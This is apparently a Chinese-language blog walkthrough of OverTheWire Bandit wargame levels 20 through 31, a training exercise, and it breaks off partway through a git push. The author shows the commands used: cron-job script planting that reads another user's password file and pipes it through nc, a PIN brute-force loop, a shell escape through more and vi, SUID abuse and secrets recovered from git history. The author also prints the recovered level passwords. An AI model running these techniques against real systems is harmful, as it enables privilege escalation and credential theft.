本文为原创文章,转载请注明出处!
OverTheWire 是一个 wargame 网站。其中 **Bandit** 是一个适合学习Linux指令的游戏,主要是考察一些基本的 Linux 命令行操作 。规则是每一关利用提供的主机加端口和上一关得到的密码通过ssh进入指定的环境,按照要求拿到指定的key,而得到的key又作为下一关的密码。 网站: http://overthewire.org/wargames/bandit/
前面我们分享了[OverTheWire Bandit Writeup (1-10)](https://www.jianshu.com/p/6ddc7c077cbc)
[OverTheWire Bandit Writeup (11-20)](https://www.jianshu.com/p/bbf5e70bb22a)
上回我们已经到了Level 20,得到的密码是 `GbKksEFF4yrVs6il55v6gwY5aVje5f0j`让我们继续,这部分的难度是中等偏困难。
Level 20 → Level 21
描述:用户家目录下有一个具有SUID的程序,用它执行如下操作:用它连接到本机 `localhost`的任意端口,然后它从连接的端口读取一行文本,并将其与 `bandit20`的密码进行比较,如果比对结果一致,它将传输下一级别的密码(bandit21)。可能用到的命令: `ssh,nc,cat,bash,screen,tmux,Unix‘job control’(bg,fg,jobs,&,CTRL-Z,…)`我们来试试吧,先看看怎么使用这个程序
`bandit20@bandit:~$ ls -l`2. `total 8`3. `-rwsr-x--- 1 bandit21 bandit20 8044 Dec 28 2017 suconnect`4. `bandit20@bandit:~$ ./suconnect 1222`5. `ERROR: Can't connect`6. `bandit20@bandit:~
直接加端口好像不行,为什么?因为本机没有开启这个端口啊,那怎么办?监听一个呗,我们使用 `nc`命令监听一个端口,新开一个终端。
`bandit20@bandit:~$ nc -l 1222`
然后再试试
`bandit20@bandit:~$ ./suconnect 1222`
好像不对劲啊!!啥也没有啊~~有点懵,当我把端口停掉后,发现返回这么一串提示:
`bandit20@bandit:~$ ./suconnect 1222`
`Read:`
`ERROR: This doesn't match the current password!`
再看看题目描述,发现我们在监听端口的时候,没有把当前的密码加入进去。再试试,这次我们把当前密码加进去
`bandit20@bandit:~$ echo "GbKksEFF4yrVs6il55v6gwY5aVje5f0j" | nc -l 1222`
然后在另一个终端连接
`bandit20@bandit:~$ ./suconnect 1222`
`Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j`
`Password matches, sending next password`
再看 `nc`监听这边,秒返回密码。
`bandit20@bandit:~$ echo "GbKksEFF4yrVs6il55v6gwY5aVje5f0j" | nc -l 1222`
`gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr`
Level 21 → Level 22
描述:有一个程序被加入到了任务计划( `cron`)并定期执行,从 `/etc/cron.d/`中找到这个程序,就能找到进入下一关的密码。可能会用到的命令: `cron,crontab,crontab(5)(use“man5crontab”to accessthis)`。这里考察的是 `linux`的任务计划先看看 `/etc/cron.d`下有哪些任务计划
`bandit21@bandit:~$ ls /etc/cron.d`
`cronjob_bandit22 cronjob_bandit23 `
emm~~这个 `cronjob_bandit22`很可疑啊。看看它配置了什么任务计划?
`bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22`
`@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null`
`* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null`
可以看出,这条任务计划是,以 `bandit22`这个用户的身份一致在执行 `/usr/bin/cronjob_bandit22.sh`这脚本。让我们看看这个脚本的内容
`bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh`
`#!/bin/bash`
`chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv`
`cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv`
看起来这个脚本是把 `bandit22`的密码读取出来,然后存到 `/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv`文件中。那我们查看这个文件,就能看到密码了
`bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv`
`Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI`
Level 22 → Level 23
描述:有一个程序被加入到了任务计划( `cron`)并定期执行,从 `/etc/cron.d/`中找到这个程序,就能找到进入下一关的密码。提示:你需要阅读 `shell`脚本,然后根据里面给出的信息,以正确的姿势运行脚本才行。这一关考察的是基本的 `shell`编写能力。先和前一关一样找到这个程序吧
`bandit22@bandit:~$ ls -l /etc/cron.d`
`total 16`
`-rw-r--r-- 1 root root 120 Dec 28 2017 cronjob_bandit22`
`-rw-r--r-- 1 root root 122 Dec 28 2017 cronjob_bandit23`
`-rw-r--r-- 1 root root 120 Dec 28 2017 cronjob_bandit24`
`-rw-r--r-- 1 root root 190 Oct 31 2017 popularity-contest`
`bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23`
`@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null`
`* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null`
看看这个脚本的内容:
`bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh`
`#!/bin/bash`
`myname=$(whoami)`
`mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)`
`echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"`
`cat /etc/bandit_pass/$myname > /tmp/$mytarget`
很简单的代码了,读取 `whoami`返回的值,计算其 `md5`值,然后读取用户的密码存到 `/tmp/用户名的md5值`这个文件中。`whoami`是干嘛的?是返回当前登录用户的用户名。
`bandit22@bandit:~$ whoami`
`bandit22`
再看这个任务计划,是由 `bandit23`执行的。所以我们只需要计算出 `bandit23`的md5值,是不是就能得到 `bandit23`的密码呢?
`bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1`
`8ca319486bfbbc3663ea0fbe81326349`
查看文件:
`bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349`
`jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n`
Level 23 → Level 24
描述:同样的描述,找到任务计划。不过给了两个提示:1、要自己写一个 `shell`脚本读取密码,2、你写的脚本运行后会被删除,所以你最好做一个备份。同样的先找到执行的任务计划
`bandit23@bandit:~$ ls -l /etc/cron.d/`
`total 16`
`-rw-r--r-- 1 root root 120 Dec 28 2017 cronjob_bandit22`
`-rw-r--r-- 1 root root 122 Dec 28 2017 cronjob_bandit23`
`-rw-r--r-- 1 root root 120 Dec 28 2017 cronjob_bandit24`
`-rw-r--r-- 1 root root 190 Oct 31 2017 popularity-contest`
`bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24`
`@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null`
`* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null`
`bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh`
`#!/bin/bash`
`myname=$(whoami)`
`cd /var/spool/$myname`
`echo "Executing and deleting all scripts in /var/spool/$myname:"`
`for i in * .*;`
`do`
`if [ "$i" != "." -a "$i" != ".." ];`
`then`
`echo "Handling $i"`
`timeout -s 9 60 ./$i`
`rm -f ./$i`
`fi`
`done`
`bandit23@bandit:~
我们可以看到任务计划是以 `bandit24`用户执行的。这个脚本的作用每隔一分钟删除 `/var/spool/bandit24/`目录下所有的脚本。所以结合这一关的提示来看,我们需要把获取脚本放在 `/var/spool/bandit24/`目录中,但是不能直接在这个目录中编辑,不然会被很快删除,比如下面这样是不行的。
`bandit23@bandit:~$ vim /var/spool/bandit24/getpass.sh`
`bandit23@bandit:~$ chmod 777 /var/spool/bandit24/getpass.sh`
我们可以在 `/tmp`目录中编辑好,然后复制过去
`bandit23@bandit:~$ mkdir /tmp/getpass/`
`bandit23@bandit:~$ cd /tmp/getpass/`
`bandit23@bandit:/tmp/getpass$ vim getpass.sh`
`bandit23@bandit:/tmp/getpass$ chmod 777 getpass.sh`
`bandit23@bandit:/tmp/getpass$ cat getpass.sh`
`#!/bin/bash`
`cat /etc/bandit_pass/bandit24 >> /tmp/getpass/pass`
`bandit23@bandit:/tmp/getpass$ cp getpass.sh /var/spool/bandit24/`
`bandit23@bandit:/tmp/getpass$ ls /var/spool/bandit24/getpass.sh`
`/var/spool/bandit24/getpass.sh`
等一会儿,等到这个脚本被删除,然后查看是否获取到密码:
`bandit23@bandit:/tmp/getpass$ ls /var/spool/bandit24/getpass.sh`
`ls: cannot access '/var/spool/bandit24/getpass.sh': No such file or directory`
`bandit23@bandit:/tmp/getpass$ ls -l`
`total 4`
`-rwxrwxrwx 1 bandit23 bandit23 84 Aug 9 16:33 getpass.sh`
`bandit23@bandit:/tmp/getpass
好像没有,突然想到我刚刚创建目录的是 `bandit23`用户的权限,我们试试把目录全改成 `777`,然后再试试`bandit23@bandit:/tmp/getpass$ chmod 777 .`
`bandit23@bandit:/tmp/getpass$ cp getpass.sh /var/spool/bandit24/`
`bandit23@bandit:/tmp/getpass$ ls /var/spool/bandit24/getpass.sh`
`ls: cannot access '/var/spool/bandit24/getpass.sh': No such file or directory`
但是等了许久并没有看到返回密码。我又试试了用 `nc`命令发送密码
`#!/bin/sh`
`cat /etc/bandit_pass/bandit24 | nc localhost 1222`
但是依然没有得到密码!!!这是为什么呢?难道复制过去后,文件权限不对了?我们复制过去后,看看权限
`bandit23@bandit:/tmp/getpass$ cp getpass.sh /var/spool/bandit24/`
`bandit23@bandit:/tmp/getpass$ ls -l /var/spool/bandit24/getpass.sh`
`-rwxrwx---+ 1 bandit23 bandit23 63 Aug 9 17:26 /var/spool/bandit24/getpass.sh`
果然,权限被改了,这样的权限对于 `bandit24`来说是没权限的。怎么办,复制过去后,再改一次权限试试吧
`bandit23@bandit:/tmp/getpass$ cp getpass.sh /var/spool/bandit24/`
`bandit23@bandit:/tmp/getpass$ chmod 777 /var/spool/bandit24/getpass.sh`
`bandit23@bandit:/tmp/getpass$ ls -l /var/spool/bandit24/getpass.sh`
`-rwxrwxrwx+ 1 bandit23 bandit23 63 Aug 9 17:28 /var/spool/bandit24/getpass.sh`
再看看,密码获取到了没
`bandit23@bandit:/tmp/getpass$ cat pass`
`UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ`
终于获取到密码了。这里最大的坑就是权限这里,如果不注意这里的话,就掉坑里了。
Level 24 → Level 25
描述:有一个程序监听了 `30002`端口,向这个端口发送当前密码和一个秘密的4位数字密码,程序比对后,如果相同,就把进入下一关的密码返回。但是这个秘密的4位数是一个0000到9999之间的某个值,所以有10000种可能。我们来分析一下,我们首先要做的是,把这10000个数都列出来,然后依次把当前的密码和一个4位数字一同发送给 `30002`端口,直到符合要求,就会得到密码。这肯定得编程实现了。其实也很简单,一个小小的 `shell`脚本就能搞定了
`bandit24@bandit:~$ cd `mktemp -d` //建立一个临时目录`
`bandit24@bandit:/tmp/tmp.CLTfF8xHy5$ vim getlevel25pass.sh`
`bandit24@bandit:/tmp/tmp.CLTfF8xHy5$ chmod +x getlevel25pass.sh`
`bandit24@bandit:/tmp/tmp.CLTfF8xHy5$ cat getlevel25pass.sh`
`#!/bin/bash`
`level24pass="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"`
`for i in {0..9}{0..9}{0..9}{0..9}`
`do`
`echo $level24pass' '$i >> output.txt`
`done`
`cat ./output.txt | nc localhost 30002 >> ./level25pass.txt`
`tail -n 5 ./level25pass.txt`
`bandit24@bandit:/tmp/tmp.CLTfF8xHy5$ ./getlevel25pass.sh`
`Wrong! Please enter the correct pincode. Try again.`
`Correct!`
`The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG`
`Exiting.`
OK,很快就得到密码了!
Level 25 → Level 26
描述:从 `bandit25`登录到 `bandit26`应该很容易,但是 `bandit26`的 `shell`不是 `/bin/bash`,你要找出它是什么,并搞清楚它怎么工作的,然后绕过它。既然它说很容易,应该是存在密钥之类的东西,先看看
`bandit25@bandit:~$ ls`2. `bandit26.sshkey`3. `bandit25@bandit:~
果然有,我们来登录试试,如果能登录,管它bash是啥呢
`bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost`
`Could not create directory '/home/bandit25/.ssh'.`
`The authenticity of host 'localhost (127.0.0.1)' can't be established.`
`ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.`
`Are you sure you want to continue connecting (yes/no)? yes`
`Failed to add the host to the list of known hosts (/home/bandit25/.ssh/known_hosts).`
`....`
`Connection to localhost closed.`
`bandit25@bandit:~
提示链接被关闭。我们想起之前我们也碰到过这种情况,要不我们试试 `-T`参数,无需分配伪终端默认。这种方式看似链接上了,但是输入任何命令都没反应。还是老实去找找 `bandit26`用的什么 `shell`吧。要想知道一个用户的 `shell`可以查看用户数据文件 `/etc/passwd`。
`bandit25@bandit:~$ cat /etc/passwd | grep "bandit26"`
`bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext`
我们看到 `bandit26`的 `shell`是 `/usr/bin/showtext`,看看这个是什么东西
`bandit25@bandit:~$ cat /usr/bin/showtext`
`#!/bin/sh`
`export TERM=linux`
`more ~/text.txt`
`exit 0`
难怪我们连接上去会被关闭,因为这个脚本,使用 `more`查看一个文本文件,当执行完,就执行了 `exit0`退出执行,所以我们的连接也会被断开。所以要先想办法让 `more`别执行完。`more`命令有一个特性,当输出的内容行数多于终端行数的时候会停下来,等你去翻页,所以我们缩小终端窗口试试。当然这个要尝试,当我们把终端的高度缩小到差不多4行左右,显示如下:
`--More--(66%)`
这次没有断开了,停下来了。然后就利用 `more`可以使用 `v`调用 `vi`编辑器的特点,然后用 `vi`编辑器就能打开文件了和获得`shell`了,按 `v`进入 `vi`编辑器模式,然后就可以读取密码文件
`:r /etc/bandit_pass/bandit26`
`...`
`5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z`
Level 26 → Level 27
描述:获得一个 `shell`,然后找密码。上一关,我们进了 `vi`编辑器模式了,这就很容易获得一个 `shell`了,因为 `vi`编辑器中是可以打开一个 `shell`的
`:set shell sh=/bin/sh`2. `:sh`3. `[No write since last change]`4. `
然后执行其他命令
`$ ls -l`2. `total 12`3. `-rwsr-x--- 1 bandit27 bandit26 7408 Jul 22 14:46 bandit27-do`4. `-rw-r----- 1 bandit26 bandit26258 Dec 28 2017 text.txt`5. `
发现一个具有 `suid`权限的程序,用它去查看 `bandit27`的密码吧
`$ ./bandit27-do cat /etc/bandit_pass/bandit27`
`3ba3118a22e93127a4ed485be72ef5ea`
Level 27 → Level 28
描述:有一个 `git`仓库,位置在:ssh://bandit27-git@localhost/home/bandit27-git/repo,所使用的密码和用户 `bandit27`的密码一致,克隆这个仓库,并找到下一关的密码。Tips:从这一关开始都是关于 `GIT`的内容,很有意思。这比较简单,使用 `git clone`命令就行
`bandit27@bandit:~$ cd `mktemp -d ``
`bandit27@bandit:/tmp/tmp.6YwPn6ll84$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo`
`Cloning into 'repo'...`
`Could not create directory '/home/bandit27/.ssh'.`
`....`
`Are you sure you want to continue connecting (yes/no)? yes`
`Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).`
`This is a OverTheWire game server. More information on http://www.overthewire.org/wargames`
`bandit27-git@localhost's password:`
`remote: Counting objects: 3, done.`
`remote: Compressing objects: 100% (2/2), done.`
`remote: Total 3 (delta 0), reused 0 (delta 0)`
`Receiving objects: 100% (3/3), done.`
`Checking connectivity... done.`
然后找密码
`bandit27@bandit:/tmp/tmp.6YwPn6ll84$ ls -l`
`total 4`
`drwxrwxr-x 3 bandit27 bandit27 4096 Aug 9 19:14 repo`
`bandit27@bandit:/tmp/tmp.6YwPn6ll84$ cd repo/`
`bandit27@bandit:/tmp/tmp.6YwPn6ll84/repo$ ls`
`README`
`bandit27@bandit:/tmp/tmp.6YwPn6ll84/repo$ cat README`
`The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2`
`bandit27@bandit:/tmp/tmp.6YwPn6ll84/repo
Level 28 → Level 29
描述:克隆仓库 ssh://bandit28-git@localhost/home/bandit28-git/repo,密码和当前用户密码一样,然后找密码???黑人???和前一关一样?先 `git clone`吧,然后再看看有什么文件
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx$ ls -l repo/`
`total 4`
`-rw-rw-r-- 1 bandit28 bandit28 111 Aug 9 19:20 README.md`
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx$ cat repo/README.md`
`# Bandit Notes`
`Some notes for level29 of bandit.`
`## credentials`
`- username: bandit29`
`- password: xxxxxxxxxx`
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx
继续????黑人????,这什么鬼,登录 `bandit29`试试?
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx$ ssh bandit29@localhost`
`Permission denied, please try again.`
`bandit29@localhost's password:`
这明显不对啊让我们使用 `git log`命令看看,看看提交历史吧,说不定能发现什么
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx/repo$ git log`
`commit 04e2414585ba775805a49b78d662d0946d08f27a`
`Author: Morla Porla`
`Date: Sun Jul 22 14:47:13 2018 +0200`
`fix info leak`6. `commit 196c3edc79e362fe89e0d75cfeef079d8c67beef`
`Author: Morla Porla`
`Date: Sun Jul 22 14:47:13 2018 +0200`
`add missing data`
`commit 80383714fa509a363756866425b0b697e87824a0`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:13 2018 +0200`
`initial commit of README.md`
`git log` 会按提交时间列出所有的更新,最近的更新排在最上面。每次更新都有一个 SHA-1 校验和、作者的名字和电子邮件地址、提交时间,最后缩进一个段落显示提交说明。 我们发现了三次提交。然后我们可以使用 `git show`, `git show` :显示各种类型的对象,这些对象包括 `blobs,树,标签和提交`。对于提交,它显示日志消息和文本差异。 它还以 `git diff-tree--cc`生成的特殊格式呈现合并提交。所以我们来看看 `196c3edc79e362fe89e0d75cfeef079d8c67beef` 这一次的提交,因为这一次的提交说明是 `add missing data`,看起来可能有写入密码什么的。
`bandit28@bandit:/tmp/tmp.m8mlHhXvGx/repo$ git show 196c3edc79e362fe89e0d75cfeef079d8c67beef`
`commit 196c3edc79e362fe89e0d75cfeef079d8c67beef`
`Author: Morla Porla`
`Date: Sun Jul 22 14:47:13 2018 +0200`
`add missing data`
`diff --git a/README.md b/README.md`
`index 7ba2d2f..3f7cee8 100644`
`--- a/README.md`
`+++ b/README.md`
`@@ -4,5 +4,5 @@ Some notes for level29 of bandit.`
`## credentials`
`- username: bandit29`
`-- password:`
`+- password: bbc96594b4e001778eee9975372716b2`
Bingo,得到密码了~因为对 `git`命令不是很熟悉,所以这一关卡了很久。然后去翻 `git`的文档.....![image.gif]
Level 29 → Level 30
描述:使用和用户 `bandit29`一样的密码,克隆 `ssh://bandit29-git@localhost/home/bandit29-git/repo`仓库里面的内容,找到密码
`bandit29@bandit:~$ cd `mktemp -d``
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo`
老套路先走一波
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF$ cd repo/`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ ls`
`README.md`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ cat README.md`
`# Bandit Notes`
`Some notes for bandit30 of bandit.`
`## credentials`
`- username: bandit30`
`- password:`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ git log`
`commit 279d73d37ee7abbe68a3ec3655ef47bdd0d2ebf2`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`fix username`
`commit 0ffeba0f812ef30dcd949a3aae1575270b9a7b06`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`initial commit of README.md`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ git show 279d73d37ee7abbe68a3ec3655ef47bdd0d2ebf2`
`commit 279d73d37ee7abbe68a3ec3655ef47bdd0d2ebf2`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`fix username`
`diff --git a/README.md b/README.md`
`index 2da2f39..1af21d3 100644`
`--- a/README.md`
`+++ b/README.md`
`@@ -3,6 +3,6 @@ Some notes for bandit30 of bandit.`
`## credentials`
`-- username: bandit29`
`+- username: bandit30`
`- password:`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo
提示 `nopasswordsinproduction!`,说明不在当前分支里面。看看其他分支吧,先查看当前分支
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ git branch`
`* master`
当前分支是 `master`,然后看一下其他分支
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ git branch -a`
`* master`
`remotes/origin/HEAD -> origin/master`
`remotes/origin/dev`
`remotes/origin/master`
`remotes/origin/sploits-dev`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo
发现有 `dev`, `sploits-dev`分支,我们 `checkout`这两个分支看看。
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ git checkout -b remotes/origin/dev`
`Switched to a new branch 'remotes/origin/dev'`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ ls`
`README.md code`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo$ cd code/`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo/code$ ls`
`gif2ascii.py`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo/code$ git log`
`commit 77ec80e97de5f88f035911a8d0fce1982dc7da05`
`Author: Morla Porla`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`add data needed for development`
`commit 0ced92a1b87e29e4225f45f3f6b803b1343aa8bb`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`add gif2ascii`
`commit 279d73d37ee7abbe68a3ec3655ef47bdd0d2ebf2`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`fix username`
`commit 0ffeba0f812ef30dcd949a3aae1575270b9a7b06`
`Author: Ben Dover`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`initial commit of README.md`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo/code$ git show 77ec80e97de5f88f035911a8d0fce1982dc7da05`
`commit 77ec80e97de5f88f035911a8d0fce1982dc7da05`
`Author: Morla Porla`
`Date: Sun Jul 22 14:47:23 2018 +0200`
`add data needed for development`
`diff --git a/README.md b/README.md`
`index 1af21d3..39b87a8 100644`
`--- a/README.md`
`+++ b/README.md`
`@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.`
`## credentials`
`- username: bandit30`
`-- password:`
`+- password: 5b90576bedb2cc04c86a9e924ce42faf`
`bandit29@bandit:/tmp/tmp.sRpgdX8JqF/repo/code
成功得到密码了~~哈哈!
Level 30 → Level 31
描述:同上一关一样,仓库地址 `ssh://bandit30-git@localhost/home/bandit30-git/repo`,密码同 `bandit30`的密码。克隆这一步,就不重复演示了
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R$ ls -al repo/`
`total 16`
`drwxrwxr-x 3 bandit30 bandit30 4096 Aug 10 03:26 .`
`drwx------ 3 bandit30 bandit30 4096 Aug 10 03:26 ..`
`drwxrwxr-x 8 bandit30 bandit30 4096 Aug 10 03:26 .git`
`-rw-rw-r-- 1 bandit30 bandit30 30 Aug 10 03:26 README.md`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R$ cat repo/README.md`
`just an epmty file... muahaha`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R
返回一句提示,说这是个空的仓库,你上当了~~~不要方,接着来
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R$ cd repo/`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ git log`
`commit 1791c9d4a559bffa4e6e89c15f7723167da10bb8`
`Author: Ben Dover`
`Date: Sun Jul 22 15:49:42 2018 +0200`
`initial commit of README.md`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ git branch -a`
`* master`
`remotes/origin/HEAD -> origin/master`
`remotes/origin/master`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo
WTF~真没有吗?我们知道 `git clone`还会创建一个神奇的 `.git`的目录,这个目录下包含了所有 git 正常工作所需要的信息 。包括对象存储,配置文件,分支和标签,HEAD文件等。我们来看看这些文件
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ ls -al ./.git`
`total 52`
`drwxrwxr-x 8 bandit30 bandit30 4096 Aug 10 03:26 .`
`drwxrwxr-x 3 bandit30 bandit30 4096 Aug 10 03:26 ..`
`-rw-rw-r-- 1 bandit30 bandit30 23 Aug 10 03:26 HEAD`
`drwxrwxr-x 2 bandit30 bandit30 4096 Aug 10 03:26 branches`
`-rw-rw-r-- 1 bandit30 bandit30276 Aug 10 03:26 config`
`-rw-rw-r-- 1 bandit30 bandit30 73 Aug 10 03:26 description`
`drwxrwxr-x 2 bandit30 bandit30 4096 Aug 10 03:26 hooks`
`-rw-rw-r-- 1 bandit30 bandit30137 Aug 10 03:26 index`
`drwxrwxr-x 2 bandit30 bandit30 4096 Aug 10 03:26 info`
`drwxrwxr-x 3 bandit30 bandit30 4096 Aug 10 03:26 logs`
`drwxrwxr-x 4 bandit30 bandit30 4096 Aug 10 03:26 objects`
`-rw-rw-r-- 1 bandit30 bandit30165 Aug 10 03:26 packed-refs`
`drwxrwxr-x 5 bandit30 bandit30 4096 Aug 10 03:26 refs`
通过查找相关资料,如果 `commit`丢失或者被删除,是可以这里面的东西进行恢复的。首先我们使用 `git reflog` 工具。【当你 (在一个仓库下) 工作时, `Git` 会在你每次修改了 HEAD 时悄悄地将改动记录下来。当你提交或修改分支时,reflog 就会更新】
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ git reflog`
`1791c9d HEAD@{0}: clone: from ssh://bandit30-git@localhost/home/bandit30-git/repo`
只有一条,好像没有找到有用的东西。我们再试试用 `git show-ref`看看吧,它的作用是显示本地存储库中可用的引用以及关联的提交ID。此外,它可以用来测试一个特定的ref是否存在。
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ git show-ref`
`1791c9d4a559bffa4e6e89c15f7723167da10bb8 refs/heads/master`
`1791c9d4a559bffa4e6e89c15f7723167da10bb8 refs/remotes/origin/HEAD`
`1791c9d4a559bffa4e6e89c15f7723167da10bb8 refs/remotes/origin/master`
`f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea refs/tags/secret`
我们看看它创建时提交的元数据,使用 `git show`
`bandit30@bandit:/tmp/tmp.jZFFwUNp0R/repo$ git show f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea`
`47e603bb428404d265f59c42920d81e5`
所以密码是`47e603bb428404d265f59c42920d81e5`。这一步的坑主要在于,你要搞清楚 `GitReferences`。这一关,一开始我以为是 `commit`被删除,需要恢复,后来才注意到是需要找到“引用”。
Level 31 → Level 32
描述:克隆仓库`ssh://bandit31-git@localhost/home/bandit31-git/repo`,密码同 `bandit31`用户密码一致,然后找到密码。克隆这一步,就不重复演示了
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ ls -al`
`total 20`
`drwxrwxr-x 3 bandit31 bandit31 4096 Aug 10 05:01 .`
`drwx------ 3 bandit31 bandit31 4096 Aug 10 05:01 ..`
`drwxrwxr-x 8 bandit31 bandit31 4096 Aug 10 05:01 .git`
`-rw-rw-r-- 1 bandit31 bandit316 Aug 10 05:01 .gitignore`
`-rw-rw-r-- 1 bandit31 bandit31147 Aug 10 05:01 README.md`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ cat README.md `
`This time your task is to push a file to the remote repository.`
`Details:`
`File name: key.txt`
`Content: 'May I come in?'`
`Branch: master`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ cat ./.gitignore`
`*.txt`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo
仓库里面给出了两个文件,其中有一个提示,提示说,需要把 `key.txt`PUSH给远程仓库,内容是 `MayI comein?`。还有一个是 `.gitignore`文件,这是一个特殊的文件,如果你在弄项目的时候,某些文件不想提交,就把要忽略的文件名填进去,Git就会自动忽略这些文件 。我们看到规则是忽略了 `*.txt`文件,所以如果直接提交 `key.txt`,这个文件会被被忽略掉了,这会导致我们提交不成功。先新建一个 `key.txt`,然后提交
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ echo "May I come in?" > key.txt`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ git add .`
. `bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ git add key.txt`
`The following paths are ignored by one of your .gitignore files:`
`key.txt`
`Use -f if you really want to add them.`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo
没成功吧,提示你可以试试 `-f`参数,如果你对 `linux`命令较为熟悉的话, `-f`代表的应该是强制的意思
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ git add -f key.txt`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ git commit`
`Unable to create directory /home/bandit31/.nano: Permission denied`
`It is required for saving/loading search history or cursor positions.`
`Press Enter to continue`
这里会打开 `nano`编辑器,然后输入一些提交说明,然后保存即可,会返回提交信息
`[master 2532497] Add file!!`
`2 files changed, 1 insertion(+), 1 deletion(-)`
`delete mode 100644 .gitignore`
`create mode 100644 key.txt`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo
然后执行 `git push`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo$ git push`
`warning: push.default is unset; its implicit value has changed in`
`Git 2.0 from 'matching' to 'simple'. To squelch this message`
`...`
`ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.`
`Are you sure you want to continue connecting (yes/no)? yes`
`Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).`
`This is a OverTheWire game server. More information on http://www.overthewire.org/wargames`
`bandit31-git@localhost's password:`
`Counting objects: 3, done.`
`Delta compression using up to 4 threads.`
`Compressing objects: 100% (2/2), done.`
